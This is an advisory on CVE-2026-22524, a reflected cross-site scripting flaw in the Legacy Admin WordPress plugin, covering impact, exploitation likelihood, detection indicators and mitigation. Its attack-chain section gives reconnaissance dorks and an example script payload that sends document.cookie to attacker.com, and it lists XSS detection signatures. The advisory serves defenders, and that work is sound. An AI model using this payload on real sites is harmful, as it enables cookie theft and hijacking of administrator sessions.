CVE-2026-22524: 
WordPress vulnerability analysis and mitigation

CVE-2026-22524 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Legacy Admin WordPress plugin developed by themepassion. It affects all versions from n/a through 9.5 (inclusive) and allows unauthenticated attackers to inject malicious scripts into web pages viewed by other users. The vulnerability was published on March 25, 2026, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High) (Feedly, EUVD).

The root cause is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The plugin fails to properly sanitize or encode user-supplied input before reflecting it back in the generated HTML response, enabling an attacker to craft a malicious URL containing a JavaScript payload. Exploitation requires user interaction — specifically, a victim must be tricked into clicking a crafted link — but no authentication or special privileges are required on the attacker's side. The changed scope (S:C) in the CVSS vector indicates the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the vulnerable component (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, enabling session cookie theft, credential harvesting, redirection to phishing sites, or defacement of the page as seen by the victim. Because no authentication is required to craft the malicious payload, any user of a site running the vulnerable plugin version could be targeted. The confidentiality, integrity, and availability impacts are each rated Low with a changed scope, meaning the attack can affect browser-side resources beyond the vulnerable WordPress plugin itself (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the Legacy Admin plugin (version ≤ 9.5) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/legacy-admin).
2. Identify the vulnerable parameter: Analyze the plugin's front-end or admin-facing pages to locate input parameters that are reflected in the HTTP response without proper sanitization.
3. Craft a malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://victim-site.com/wp-admin/...?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target user (e.g., an administrator) via phishing email, social engineering, or a malicious link.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect them to a malicious site (Feedly).

• Network: HTTP GET or POST requests to WordPress admin or plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after loading a WordPress page.
• Logs: WordPress or web server access logs showing requests with XSS payloads in query string parameters targeting Legacy Admin plugin endpoints; referrer headers pointing to external or suspicious domains.
• File System: No direct file system artifacts expected for reflected XSS, but monitor for newly created or modified PHP files in wp-content/plugins/legacy-admin/ that could indicate follow-on compromise.
• Process/Browser: Unexpected redirects or pop-ups reported by users when accessing WordPress admin pages; session tokens appearing in external server logs indicating cookie theft (Feedly).

The vulnerability affects Legacy Admin plugin versions up to and including 9.5. Users should check for an updated version of the plugin from the WordPress plugin repository or the themepassion vendor and upgrade immediately if a patched release is available. If no patch is yet available, consider deactivating and removing the Legacy Admin plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Feedly, Patchstack).

The vulnerability was noted in the Wordfence Intelligence Weekly WordPress Vulnerability Report for the week of March 9–15, 2026, which aggregates newly disclosed WordPress plugin vulnerabilities. No significant independent researcher commentary, vendor statements beyond the Patchstack advisory, or notable social media discussion has been identified for this CVE (Wordfence Blog).